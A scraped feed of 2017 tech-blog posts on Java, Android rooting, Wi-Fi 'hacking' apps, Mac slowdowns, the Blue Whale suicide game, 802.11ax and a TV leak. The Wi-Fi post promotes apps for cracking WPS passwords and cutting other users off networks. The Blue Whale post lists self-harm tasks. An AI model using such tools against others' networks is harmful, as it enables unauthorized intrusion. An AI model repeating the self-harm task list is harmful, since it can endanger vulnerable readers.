<span style="color: #0e0b0b; font-family: "arial" , "helvetica neue" , "helvetica" , sans-serif;"><span style="font-size: 13px;">Applications of Java</span></span></h2>
</div>
<div class="cheat_sheet_output_block" id="block_464_1811" style="border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">
<div class="cheat_sheet_output_block" id="block_464_1811" style="border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">
<span style="color: #0e0b0b; font-family: "arial" , "helvetica neue" , "helvetica" , sans-serif;"><span style="font-size: 13px;"><br /></span></span></div>
<div class="cheat_sheet_output_block" id="block_464_1811" style="border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">
<span style="color: #0e0b0b; font-family: "arial" , "helvetica neue" , "helvetica" , sans-serif;"><span style="font-size: 13px;">Java is being used in:</span></span></div>
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<li>Real-time Systems</li>
<li>Simulation and Modelling</li>
<li>object oriented Databases</li>
<li>Artificial Intelligence and Expert Systems</li>
<li>CIM/CAD/CAM Systems</li>
<li>Neural Networks and Parallel Programming</li>
<li>Decision Support Systems</li>
</ol>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-54603276191012044012017-09-03T19:00:00.000+05:302017-09-03T19:00:16.997+05:30How to Easily Root Your Android Smartphone <div dir="ltr" style="text-align: left;" trbidi="on">
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You can Easily Root Your Smartphone in some steps.....</h3>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-QDkeARGY9o2yV8YAsM6j9Dum55v2WmgqfH8K6BdcOyykCZ_EMHLUCG7jHsrRKjkWkA8tfc7lfvsVKSIPskAl06ojz9yXbOe5mWVLjVRmlNYterOEkYgjtvzQVHEXaifpx1Rs22R10ev7/s1600/root.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="360" data-original-width="480" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-QDkeARGY9o2yV8YAsM6j9Dum55v2WmgqfH8K6BdcOyykCZ_EMHLUCG7jHsrRKjkWkA8tfc7lfvsVKSIPskAl06ojz9yXbOe5mWVLjVRmlNYterOEkYgjtvzQVHEXaifpx1Rs22R10ev7/s400/root.jpg" width="400" /></a></div>
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Do you want unlimited control over your phone? Android rooting opens up a world of possibility, but it can also void your warranty, leave you with a broken smartphone, or worse. It isn’t for the faint of heart.</div>
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Manufacturers and carriers have a vested interest in dissuading you from rooting — if done incorrectly, it can irreparably damage your phone. Even so, the potential benefits are well worth it. With a rooted phone, you can remove bloatware, speed up your processor, and customize every element of your phone software’s appearance.</div>
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WHAT IS ROOTING?</h4>
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Rooting an Android phone or tablet is akin to jailbreaking an iPhone — basically, it allows you to dive deeper into a phone’s sub-system. It will allow you to access the entirety of the operating system and customize just about anything on your Android device. With root access, you can also get around any restrictions that your manufacturer or carrier may have applied.<br />
Rooting is best undertaken with caution. You will want to back up your phone’s software before you install — or “flash,” in rooting terms — a custom ROM (modified version of Android).</div>
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<b>WHY WOULD YOU ROOT?</b></div>
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One of the biggest incentives to root your Android device is to rid yourself of bloatware that’s impossible to uninstall otherwise. On some devices, rooting will enable previously disabled settings, like wireless tethering. Additional benefits include the ability to install specialized tools and flash custom ROMs, each of which can add extra features and improve your phone or tablet’s performance.<br />
There are not an overabundance of must-have root apps, but there are enough to make it worthwhile. Some apps, for example, let you to automatically back up all of your apps and data to the cloud, block web and in-app advertisements, create secure tunnels to the internet, overclock your processor, and make your device a wireless hotspot.</div>
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Reasons for not rooting your device :</h3>
<b>Voiding your Warranty:</b><br />
Some manufacturers or even carriers will void the warranty of your device if you root it. Therefore, if you wish to root your device while its still within its warranty period, make sure to have a backup of the original ROM which can be used to unroot your device if the need arises.<br />
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<b>Bricking your phone:</b><br />
If the process does not go as planned, you run the risk of corrupting your device aka making it as useful as a brick hence, the name. Make sure the guide you are following to root your device is up-to-date and the custom ROM that you flash works with your particular device.<br />
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<b>Security:</b><br />
Doing anything that’s out of the ordinary always comes with a security risk. Depending upon the services and apps on your device, you could create a security vulnerability for yourself. And certain malware takes advantage of rooted status to steal data, install additional malware, or target other devices with harmful web traffic.<br />
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<b>Disabling apps:</b><br />
While there exist apps that only work on rooted devices, the reverse also exists. There are quite a few apps that will not work if your device is rooted, Google’s Android Pay and Barclays Mobile Banking to name a few. If you depend on such apps, it is suggested not to root your primary device.<br />
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<b>Rooting Process..</b><br />
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One of the easiest way to root your device is by using an app. We have mentioned the steps needed to root your devices using 2 popular apps that should have your device rooted in lesser time than it takes for you to read this entire article. Before you get into that, some preparatory steps. First things first, backup everything on your phone that you find essential. You should also backup your phone’s ROM before you flash a new one onto it.<br />
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You will need to activate USB debugging and OEM Unlocking on your device before proceeding. To activate them head over to Developer Options in your phones settings. If you do not see it, follow these steps:<br />
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Tap on About Phone and find the Build Number.<br />
Tap on the Build Number seven times and the Developer Options will appear on the main page of the Settings.<br />
Tap on the Back key to see the Developer Options.<br />
Tap on Developer Options.<br />
Check to enable USB Debugging.<br />
Check to enable OEM Unlocking.<br />
Next you will need Androd SDK tools<br />
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Download the Android SDK tools from Google’s developer site by clicking here.<br />
When asked to choose a directory to install it to, it is recommended to install it to C:android-sdk. If you choose a different location, be sure to remember it.<br />
Once installed, launch it from the Start Menu.<br />
The SDK Manager will open. Just uncheck everything except Android SDK Platform-tools. It’s at the top.<br />
Click on Install 2 packages at the bottom right.<br />
Check Accept license and click Install.<br />
Next, you will need to install device drivers onto your PC if you haven’t done it already. The drivers can be found on your device manufacturer’s website. Nonetheless, we have listed the most popular manufactures down below. Just follow the steps mentioned and you will be good to go.<br />
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Asus<br />
Acer<br />
Alcatel<br />
Coolpad<br />
Google/Nexus/Pixel<br />
HTC<br />
Huawei<br />
Lenovo/Motorola<br />
LG<br />
OnePlus<br />
Samsung<br />
Sony<br />
ZTE<br />
Unlocking the Bootloader<br />
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The next step is to unlock the bootloader – which as the name suggests, loads the device’s operating system. Some manufacturers require you to obtain a key to unlock the bootloader after registering for a developer account. Motorola, HTC, and Sony provide step-by-step instructions on the process. Once done, you will need to place your device on fastboot mode. It varies for different phones, but for most of the devices you need to press and hold the power and Volume Down keys for 10 seconds.<br />
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Once your device in the fastboot mode, move over to your PC and open the command prompt by hitting Shift+Right Click and choosing “Open a Command Prompt Here.” If your device is one that requires a code, you would have received a string of characters. Paste it into the box on your device manufacturer’s website, submit the form, and await an email with a key, file, and further instructions. After this, the steps for unlocking your particular device might vary. You should search for the specific commands needed for your own device. Confirm the unlock and you’re one step closer to rooting your device. We’re providing the commands for Google’s Nexus and Pixel devices below.<br />
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Nexus phones: Type “fastboot oem unlock” (without quotes) and hit enter<br />
Pixel phones: Type “fastboot flashing unlock” (without quotes) and hit enter<br />
Rooting your device<br />
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As we mentioned earlier, the best way to root your device is by using an app and we have listed two of the most popular apps for the purpose. The first one is Kingo Root and they have multiple steps for different devices. Below are the steps to root a popular device – the Samsung Galaxy S8. For other devices, be sure to check out their website.<br />
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Step 1: Free download and install Kingo Root Android (PC Version).<br />
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Step 2: Double click the desktop icon of Kingo Root and launch it.<br />
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Step 3: Plug your Android device into your computer via USB cable.<br />
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Step 4: Enable USB Debugging mode on your Android device.<br />
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Step 5: Read notifications carefully before rooting your device.<br />
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Step 6: Click “ROOT” to root your device.<br />
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Step 7:Root succeeded.<br />
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Step 8: Check the root status of your device.<br />
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The second app that’s been popular is King Root – do not get confused with the similarity in their names. King Root also lets you root your device equally fast. The steps for the process are as follows:<br />
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Download and install Kingroot PC software on your PC.<br />
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Run Kingroot Software(choose “Run as Administrator”) on your PC and connect your Android device to PC via USB cable.<br />
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Click on the ” Connect ” button and wait for Kingroot PC to build the connection between PC and Device.<br />
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Once the device is detected it will pop-up a warning on the device screen saying that ” Installation Blocked”. Click ” Install anyway ” to proceed.<br />
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After that you will be redirected to another menu, click on the ” Try to Root ” button to begin rooting and wait for some time to complete.<br />
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Kingroot PC will show a ” Successful ” notification if the system is rooted properly. Rooting Android Nougat is really easy with Kingroot apk and Kingroot PC.<br />
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-91121233093739892722017-09-01T00:00:00.000+05:302017-09-03T22:19:30.606+05:30 How to Hack Wi-Fi using your Android smartphone..<div dir="ltr" style="text-align: left;" trbidi="on">
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You Can Hack Wi-Fi Network and Crack Wi-Fi Password Using Your Android Smartphone.</h2>
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If you are a security researcher or hacker, you must have used Kali Linux tools to hack Wi-Fi for pentesting. However one of the most common comments/questions from our readers is for hacking Wi-Fi using Android smartphones. Is it possible to hack Wi-Fi using Android? Yes! It is possible because Android kernel is based on Linux, therefore most of the tricks and hacks that are possible with Linux can be done with Android.</div>
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However, since Android smartphone is not as powerful as a PC, there are certain modifications needed and one of them is a rooted Android smartphone. Here are the some Apps which allow you to hack Wi-Fi passwords using your Android smartphone</div>
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Things You Need For Hacking WiFi from Your Android Smartphone</h2>
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<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Android smartphone with Quad-core Processor and at least 2GB RAM</li>
<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Your Android smartphone Must be Rooted</li>
<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">The Wi-Fi network signal you want to hack should be powerful</li>
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WPS Connect</h3>
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Though many reviews may say this App is fake but this is a working App and can crack Wi-Fi passwords in minutes from your Android smarpthone. With this App you can hack Wi-Fi signals which are WPS enabled.</div>
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<img alt="WPS Connect " class="alignnone size-full wp-image-50325" height="900" sizes="(max-width: 536px) 100vw, 536px" src="https://www.techworm.net/wp-content/uploads/2016/10/WPS-Connect.jpg" srcset="//www.techworm.net/wp-content/uploads/2016/10/WPS-Connect.jpg 536w, //www.techworm.net/wp-content/uploads/2016/10/WPS-Connect-89x150.jpg 89w, //www.techworm.net/wp-content/uploads/2016/10/WPS-Connect-179x300.jpg 179w" style="border: 0px; font-family: inherit; height: auto; margin: 5px 20px 20px 0px; max-width: 100%; padding: 0px; vertical-align: baseline;" width="536" /></div>
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WPS Connect bypasses WPS security and gives you access to to the Wi-Fi without typing any password.</div>
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Wi-Fi Kill</h2>
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WiFi Kill works by disabling other users using the same Wi-Fi connection giving you the maximum bandwidth available on that particular network. Download Wi-Fi Kill and kill other users connections with this App.</div>
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<img alt="Wi-Fi Kill" class="alignnone wp-image-50326 size-medium" height="225" sizes="(max-width: 300px) 100vw, 300px" src="https://www.techworm.net/wp-content/uploads/2016/10/WiFiKill-300x169.jpg" srcset="//www.techworm.net/wp-content/uploads/2016/10/WiFiKill-300x169.jpg 300w, //www.techworm.net/wp-content/uploads/2016/10/WiFiKill-150x84.jpg 150w, //www.techworm.net/wp-content/uploads/2016/10/WiFiKill.jpg 512w" style="border: 0px; font-family: inherit; height: auto; margin: 5px 20px 20px 0px; max-width: 100%; padding: 0px; vertical-align: baseline;" width="400" /></div>
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ZAnti</h2>
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ZAnti is a hacking and pentesting tool from the house of Zimperium. ZAnti has been released as a complete mobile pentesting App but it is also capable of hacking Wi-Fi network password of your Android smarpthone.</div>
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<img alt="ZAnti is also capable of hacking wi-fi network password from android mobile. This app is made for checking the security of your wi-fi network. With this app, you can disable other wi-fi connection like wifi kill.ZAnti is like a hacking mobile toolkit for hackers. If you want a hacking android app that can hack other user wifi network and you can do everything you want." class="alignnone wp-image-50327 size-medium" height="130" sizes="(max-width: 300px) 100vw, 300px" src="https://www.techworm.net/wp-content/uploads/2016/10/ZAnti-300x130.jpg" srcset="//www.techworm.net/wp-content/uploads/2016/10/ZAnti-300x130.jpg 300w, //www.techworm.net/wp-content/uploads/2016/10/ZAnti-150x65.jpg 150w, //www.techworm.net/wp-content/uploads/2016/10/ZAnti-768x334.jpg 768w, //www.techworm.net/wp-content/uploads/2016/10/ZAnti.jpg 1012w" style="border: 0px; font-family: inherit; height: auto; margin: 5px 20px 20px 0px; max-width: 100%; padding: 0px; vertical-align: baseline;" width="300" /></div>
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<ins class="adsbygoogle" data-ad-client="ca-pub-9567424144805280" data-ad-slot="2710193057" data-adsbygoogle-status="done" style="border: 0px; display: inline-block; font-family: inherit; height: 15px; margin: 0px; padding: 0px; vertical-align: baseline; width: 468px;"><ins id="aswift_6_expand" style="background-color: transparent; border: none; display: inline-table; font-family: inherit; height: 15px; margin: 0px; padding: 0px; position: relative; vertical-align: baseline; visibility: visible; width: 468px;"><ins id="aswift_6_anchor" style="background-color: transparent; border: none; display: block; font-family: inherit; height: 15px; margin: 0px; padding: 0px; position: relative; vertical-align: baseline; visibility: visible; width: 468px;"><iframe allowfullscreen="true" allowtransparency="true" frameborder="0" height="15" hspace="0" id="aswift_6" marginheight="0" marginwidth="0" name="aswift_6" scrolling="no" style="border-style: initial; border-width: 0px; font-family: inherit; height: 15px; left: 0px; margin: 0px; padding: 0px; position: absolute; top: 0px; vertical-align: baseline; width: 468px;" vspace="0" width="468"></iframe></ins></ins></ins></div>
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With this App you can hack into Wi-Fi networks to test their security as well as kill other connections pretty much like Wi-Fi Kill above. In addition to hacking Wi-Fi, ZAnti offers you many other pentesting options which you would love if your are a hacker/security researcher. You can also download ZAnti from <a href="http://m.apksum.com/app/zanti/com.zimperium.zanti" style="border: 0px; color: #e54e53; font-family: inherit; margin: 0px; padding: 0px; text-decoration-line: none; transition: all 0.4s ease-in-out; vertical-align: baseline;" target="_blank">here</a>.</div>
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<b>WIFI WPS WPA TESTER</b></div>
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WIFI WPS WPA Tester works on normal Android smarpthones if you want to just connect an WPS/WPA enabled Wi-Fi network without knowing the password. If you have a rooted Android smartphone, you can view the hacked password.</div>
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<img alt="wifi-wps-wpa-tester" class="alignnone wp-image-50331 size-medium" height="300" sizes="(max-width: 169px) 100vw, 169px" src="https://www.techworm.net/wp-content/uploads/2016/10/WIFI-WPS-WPA-Tester-169x300.jpg" srcset="//www.techworm.net/wp-content/uploads/2016/10/WIFI-WPS-WPA-Tester-169x300.jpg 169w, //www.techworm.net/wp-content/uploads/2016/10/WIFI-WPS-WPA-Tester-84x150.jpg 84w, //www.techworm.net/wp-content/uploads/2016/10/WIFI-WPS-WPA-Tester-768x1365.jpg 768w, //www.techworm.net/wp-content/uploads/2016/10/WIFI-WPS-WPA-Tester-576x1024.jpg 576w, //www.techworm.net/wp-content/uploads/2016/10/WIFI-WPS-WPA-Tester.jpg 1080w" style="border: 0px; font-family: inherit; height: auto; margin: 5px 20px 20px 0px; max-width: 100%; padding: 0px; vertical-align: baseline;" width="169" /></div>
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This hack PINs which are calculated using following algorithms:<br />
-Zhao<br />
-TrendNet<br />
-Dlink<br />
-Arris</div>
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<span style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><span style="color: blue;">Above are some of the Apps that let you hack your Wi-Fi network for testing purpose. Do not, REPEAT do not try hacking other networks as this may be illegal in your country and you could be jailed for the offence</span></span></h3>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-23353637666703476472017-08-26T13:25:00.002+05:302017-08-28T16:37:02.410+05:30Reasons Why a Work Mac Computer May Be Running Slowly<div dir="ltr" style="text-align: left;" trbidi="on">
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Here Are Few Reasons Why Your Work Mac Computer May Be Sluggish</h2>
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When you’re using your Mac as a work computer, it is important to ensure that it is always performing optimally. Unfortunately at some point or other you may notice that it is slowing down, and some apps may even start to freeze or crash.<br />
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-dO5NfN37Lm78SjmWeoWwcF31pUvhkv0Y2XiR98kt69qEz86IicnPLaopgDbAawpEg4tfwkKMqyoMoIxd9SEVXUXRTivd4_tn0YaFiWgSAZwNN6jozcVCAC8sP9QmcWk01uAgMYcjzdGx/s1600/mac+cleaner+3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Reasons Why a Work Mac Computer May Be Running Slowly" border="0" data-original-height="390" data-original-width="292" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-dO5NfN37Lm78SjmWeoWwcF31pUvhkv0Y2XiR98kt69qEz86IicnPLaopgDbAawpEg4tfwkKMqyoMoIxd9SEVXUXRTivd4_tn0YaFiWgSAZwNN6jozcVCAC8sP9QmcWk01uAgMYcjzdGx/s400/mac+cleaner+3.png" title="Reasons Why a Work Mac Computer May Be Running Slowly" width="298" /></a></div>
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Typically there are a number of reasons why your Mac may be running slowly, and if you identify the culprit you can even fix it:<br />
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•<span style="white-space: pre;"> </span>Insufficient free space on the hard drive</h3>
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To run optimally your Mac needs to have enough free space on its hard drive. Over time as the hard drive starts to fill up with apps and other junk that can be an issue – which is why you should clean it periodically. While cleaning a Mac manually can be time-consuming, with Movavi Mac Cleaner it is a piece of cake and you just need to launch it, let it scan your Mac then click the ‘Start Cleaning’ button to begin. Additionally. you can free up even more space by uninstalling apps with its ‘Uninstaller’ too.<br />
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•<span style="white-space: pre;"> </span>Unnecessary login items</h3>
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If your Mac is booting up slowly then it may have too many login items. These items launch when your Mac starts up, and then run in the background and take up system resources. As a rule of thumb you should remove any unnecessary login items by going to ‘System Preferences’, or you could use the ‘Startup Optimization’ feature in Movavi Mac Cleaner.<br />
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•<span style="white-space: pre;"> </span>Not enough RAM</h3>
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One of the main causes of slow Macs is when your Mac does not have enough RAM to support all the apps that it is running. To check how much RAM you have available you should open up the ‘Activity Monitor’. Assuming you don’t have that much free RAM, you should close all apps, remove any unnecessary login items, and make sure there aren’t any unnecessary apps running in the background. If you want you can use the ‘Memory Cleanup’ feature in Movavi Mac Cleaner to clear your RAM and boost your Mac’s speed too.<br />
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•<span style="white-space: pre;"> </span>Outdated OS X</h3>
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Each new version of OS X contains numerous bug fixes, performance optimizations, and so on. If you’re running on an old or outdated version of OS X you won’t benefit from these improvements – which could be causing your Mac to slow down. That is why it is best to always keep your Mac up to date.<br />
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As you can see Movavi Mac Cleaner can be a big help when your <a href="https://www.movavi.com/support/how-to/Mac/Mac-is-running-slow.html" target="_blank">Mac is running slow</a>. With its features, you can clean your hard drive, free up space, remove unnecessary startup items and even free up some RAM.<br />
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While there are other reasons why your Mac may be running slow – the ones listed above should give you a place to start. In fact, if you were to try using Movavi Mac Cleaner right now, you could quickly see the improvements to your Mac’s speed that it is able to provide and decide whether or not you need any further help.</div>
Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-56624525337389102282017-08-19T10:57:00.001+05:302017-08-19T10:57:10.257+05:30Watch how "BLUE WHALE"game effects Indian Teenagers. <div dir="ltr" style="text-align: left;" trbidi="on">
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The Blue whale Game.</h4>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-vLJj9S8IEkmCo-Mnl-9JpClqUVXNYF_kaE3e1jjFGSK9rnIcw0r8Dp5mseaP5I7zAXHjurOD3VQSFTsVkURilA2IfppznVOrFub58xz0oUb81tZGbPcerRZ8DIlmKB2aOTeQLn7L2qN2/s1600/blue+whale.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Watch how "BLUE WHALE"game effects Indian Teenagers. " border="0" data-original-height="720" data-original-width="1280" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-vLJj9S8IEkmCo-Mnl-9JpClqUVXNYF_kaE3e1jjFGSK9rnIcw0r8Dp5mseaP5I7zAXHjurOD3VQSFTsVkURilA2IfppznVOrFub58xz0oUb81tZGbPcerRZ8DIlmKB2aOTeQLn7L2qN2/s640/blue+whale.jpg" title="Watch how "BLUE WHALE"game effects Indian Teenagers. " width="640" /></a></div>
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The <b>Blue Whale Game</b> also "Blue Whale Challenge", is an Internet "game" that is claimed to exist in several countries. The game allegedly consists of a series of tasks assigned to players by administrators during a 50-day period, with the final challenge requiring the player to commit suicide.The term "Blue Whale" comes from the phenomenon of beached whales, which is linked to suicide.</div>
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<span style="font-size: 14px;">Blue Whale began in Russia in 2013 with "F57", one of the names of the so-called "death group" of the VKontakte social network and allegedly caused its first suicide in 2015.</span><span style="font-size: 11.2px; white-space: nowrap;"> </span><span style="font-size: 14px;">Philipp Budeikin, a former </span>psychology<span style="font-size: 14px;"> student who was expelled from his university, claimed that he invented the game. Budeikin stated that his purpose was to "clean" the society by pushing to suicide those he deemed as having no value.</span><sup class="reference" id="cite_ref-.D0.91.D0.B8.D0.BE.D0.BC.D1.83.D1.81.D0.BE.D1.80_12-0" style="font-size: 11.2px; line-height: 1; unicode-bidi: isolate; white-space: nowrap;"></sup></div>
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In Russia in 2016, Blue Whale came into broader use among teenagers after a journalist brought attention to it through an article that linked many unrelated suicide victims to the Blue Whale, creating a wave of moral panic in Russia. Later, Budeikin was arrested and pled guilty to "inciting at least 16 teenage girls to commit suicide", leading to Russian suicide prevention legislation and renewed world-wide concern over the Blue Whale phenomenon. It has also been linked to other rising self-harm trends, such as "human embroidery" in China.</div>
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<span style="color: #222222; font-family: sans-serif;"><span style="font-size: 14px;">"Game" structure</span></span></h4>
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<span style="color: #222222; font-family: sans-serif;"><span style="font-size: 14px;">The game is based on the relationship between the challengers (also called players or participants) and the administrators. It involves a series of duties given by the administrators that players must complete, usually one per day, some of which involve self-mutilation. Some tasks can be given in advance, while others can be passed on by the administrators on that day, the last task being suicide.</span></span></div>
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<span style="color: #222222; font-family: sans-serif;"><span style="font-size: 14px;">The list of tasks, to be completed in 50 days, includes waking up at 4:20 A.M., climbing a crane, carving a specific phrase on the person’s own hand or arm, doing secret tasks, poking a needle to the arm or leg, standing on a bridge and roof, listening to music, and watching videos sent to the challengers by the administrator. One of these music videos was originally for Norwegian singer Emilie Nicolas' upbeat song "Pstereo" (filmed in Scotland). It had been dubbed by the administrator and set to BENY's hauntingly somber remix of Australian singer Sarah Blasko's country-folkish song "All I Want" (video filmed in Victoria, Australia).</span></span></div>
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<span style="color: #222222; font-family: sans-serif;"><span style="font-size: 14px;">Some Cases that Affected Indian Teens By<b> THE BLUE WHALE</b> Game</span></span></div>
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<span style="color: #222222; font-family: sans-serif;"><span style="font-size: 14px;">1. Kerala: A 16-year-old from Kerala, fell victim of the dangerous dare, according to his mother. Manoj, the young boy was found hanging in his home on July 26. While, the family had initially told the police that the suicide was a result of failed relationships and scoldings by his mother, just three days ago, the boy’s mother filed a fresh complaint, saying the Blue Whale challenge could be a reason for his death. In another case in the state, an IIT student who committed suicide in Kannur last May reportedly used to play the deadly game, according to Manorama Online.</span></span></div>
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<span style="color: #222222; font-family: sans-serif;"><span style="font-size: 14px;">2. Maharashtra: A 14-year-old boy jumped off from the seventh floor of a building in Mumbai on July 26 evening is another suspected case of Blue Whale suicide game. The deceased, Manpreet, was a class nine student in a school in Andheri East. While locals said he played the Blue Whale game, the police said they are checking Manpreet’s cell phone and computer to ascertain the same.</span></span></div>
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<span style="color: #222222; font-family: sans-serif;"><span style="font-size: 14px;">3. West Bengal: Ankan Dey, a 15-year-old teenager from West Midnapore, West Bengal, was the first suspected Blue Whale victim in India. The teenager committed suicide in the bathroom of his house on Saturday morning, August 12, according to reports. While the police are probing if the teen played the Blue Whale challenge, there were reports that Ankan was addicted to online games.</span></span></div>
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<span style="color: #222222; font-family: sans-serif;"><span style="font-size: 14px;">4. Maharashtra: A 14-year-old Solapur boy who left home to allegedly complete a task assigned to him in the Blue Whale game was rescued by the police on August 10 on his way to Pune. “As soon as we were informed by our counterparts in Solapur, we intercepted the bus and rescued the boy, who was on his way to complete a task given by the Blue Whale Challenge game,” a Bhigwan police station officer had told IE.</span></span></div>
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<span style="color: #222222; font-family: sans-serif;"><span style="font-size: 14px;">5. MadhyaPradesh: A 13-year-old was rescued by his friends when he tried to jump off the third floor of his Indore school on August 10. Additional SP Rupesh Kumar Dwivedi said, “We think he was tense in the last couple of days, thinking about committing suicide to accomplish the final 50th task of the game.”</span></span></div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-56757249639436764322017-08-19T10:35:00.000+05:302017-08-19T10:35:11.735+05:30Is 802.11ax High Efficiency Specification, Future of WiFi ?<div dir="ltr" style="text-align: left;" trbidi="on">
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<span style="background-color: white;"><span style="font-family: Proxima Nova, Proxima-Nova, proxima-nova, Helvetica, Arial, sans-serif; font-size: x-large;">The two chips, one for routers and the other for clients, are slated to deliver WiFi faster with dramatically better coverage.</span></span></div>
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<span style="font-weight: normal;"><span style="font-size: small;">Your home Wi-Fi performance will soon get much better thanks to new Wi-Fi chips that Qualcomm announced today, the IPQ8074 system-on-chip (SoC) for broadcasters (routers and access points) and the QCA6290 SoC for receivers (Wi-Fi devices). They belong to the first end-to-end commercial Wi-Fi portfolio to support the all-new 802.11ax standard.<br />What is 802.11ax ?</span></span></div>
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In a nutshell, it's the next step in the evolution of Wi-Fi. Wi-Fi has evolved a great deal since the debut of 802.11b in 1999. After that we have 802.11g, 802.11n and the 802.11ac which is currently the most popular.</div>
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Like 802.11ac, the new 802.11ax is backward compatible with previous Wi-Fi generations. However, it's the first standard that focuses not only on faster speed but also on Wi-Fi efficiency, or network capacity, especially in crowded air space. This means 802.11ax allows for faster real-world speed than previous standards. That said, on paper, 802.11ax can be four times faster than 802.11ac. Also, an 802.11ax router helps existing pre-802.11ax Wi-Fi devices have faster speed thanks to its ability to manage traffic diversity and overcome the density of overlapping networks.</div>
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<strong>IPQ8074</strong></h4>
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Qualcomm says the IPQ8074 is a highly-integrated all-in-one platform designed for access points, gateways and routers. The 14nm chip integrates an 11ax radio, MAC and baseband, and a quad-core 64-bit A53 CPU as well as a dual-core network accelerator. It uses a 12x12 Wi-Fi configuration (8x8 on the 5GHz band and 4x4 on the 2.4GHz band) and supports MU-MIMO for uplink. As a result, it can deliver up to 4.8 Gbps while maintaining fast connections over a larger coverage area than any 802.11ac chip.</div>
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The chip also features Qualcomm's Wi-Fi Self-Organizing Network (SON) which simplifies installation and optimizes traffic.</div>
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<strong>QCA6290</strong></h4>
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On the client side, Qualcomm says the QCA6290 SoC can offer up to a 4x increase in throughput speed in a crowded network. It supports 2x2 MU-MIMO and can realize the full benefits of the 8x8 MU-MIMO thanks to its 8x8 sounding mechanism. The chip can combine 2.4GHz and 5GHz bands using its Dual Band Simultaneous (DBS) feature to deliver up to 1.8 Gbps Wi-Fi speed. Compared with 802.11ac, the chip can reduce power consumption by two thirds.</div>
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Qualcomm says it expects to sample both of these chips in the first part of 2017. That means there's a chance consumer 802.11ax devices will be available later this year.</div>
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<span style="font-family: Proxima Nova, Proxima-Nova, proxima-nova, Helvetica, Arial, sans-serif; font-size: small;">802.11ax improves battery life</span></h4>
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<span style="font-family: "Proxima Nova", Proxima-Nova, proxima-nova, Helvetica, Arial, sans-serif; font-size: 17px; font-weight: normal;">Any new Wi-Fi standard will improve battery life, since the range is typically further and data is transmitted faster so the client does not need to work as hard. However, ax has a new feature called wake time scheduling. This enables APs to tell clients when to go to sleep and provides a schedule of when to wake. These are very short periods of time, but being able to sleep a bunch of short times will make a big difference on battery life. </span></div>
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<span style="font-family: Proxima Nova, Proxima-Nova, proxima-nova, Helvetica, Arial, sans-serif;"><span style="font-size: 17px; font-weight: normal;">I’ve talked with chip, AP and client device manufacturers about when to expect 802.11ax products, and we should see the first consumer Wi-Fi routers in the early part of 2018 with an outside shot of late 2017. After that, the business grade APs and clients will follow. We are certainly close enough that network managers should be starting the educational process and planning now. </span></span></div>
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<span style="font-family: Proxima Nova, Proxima-Nova, proxima-nova, Helvetica, Arial, sans-serif;"><span style="font-size: 17px; font-weight: normal;">If you’re not sure what this means for your business, talk to your Wi-Fi vendor, as all the major wireless LAN suppliers are planning to support 802.11ax. One final point: If you need to upgrade now, I certainly wouldn’t put if off and wait for ax. Wi-Fi is extremely important to businesses of all sizes and will become more important as the Internet of Things (IoT) becomes more widely adopted.</span></span></div>
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<span style="font-family: Proxima Nova, Proxima-Nova, proxima-nova, Helvetica, Arial, sans-serif;"><span style="font-size: 17px; font-weight: normal;">The evolution of client devices has been “game changing,” as there’s almost nothing we do that doesn’t involve them. The 802.11ax specification finally brings a Wi-Fi standard to the network that can support all of the things we want to do with our wireless LANs.</span></span></div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-47516301481838369432017-08-17T00:39:00.000+05:302017-08-19T10:36:33.173+05:30Game of Thrones Season 7 Episode 6 The Hunt LEAKED!!!<div dir="ltr" style="text-align: left;" trbidi="on">
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After Star India, now HBO Spain leaks GoT S07E06 – <span id="ContentPlaceHolder1_FullstoryCtrl_Stitle" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Game of Thrones Season 7 Episode 6 “Death Is the Enemy” Leaked</span></h1>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnupEbUx17DsjB9mn6UPCzJ82uMMNWYt1R6NTv_ZYk8ZR3dkR2EBoRtZHrkK67gT1m62wjFag2YZuLouseb0f4YvJIvAJvllJJOhQv2OaieMhbaGnWsMat7soILsQ5OomjS5k0GRlgar08/s1600/got.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Game of Thrones Season 7 Episode 6 The Hunt LEAKED!!!" border="0" data-original-height="336" data-original-width="695" height="308" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnupEbUx17DsjB9mn6UPCzJ82uMMNWYt1R6NTv_ZYk8ZR3dkR2EBoRtZHrkK67gT1m62wjFag2YZuLouseb0f4YvJIvAJvllJJOhQv2OaieMhbaGnWsMat7soILsQ5OomjS5k0GRlgar08/s640/got.jpg" title="Game of Thrones Season 7 Episode 6 The Hunt LEAKED!!!" width="640" /></a></div>
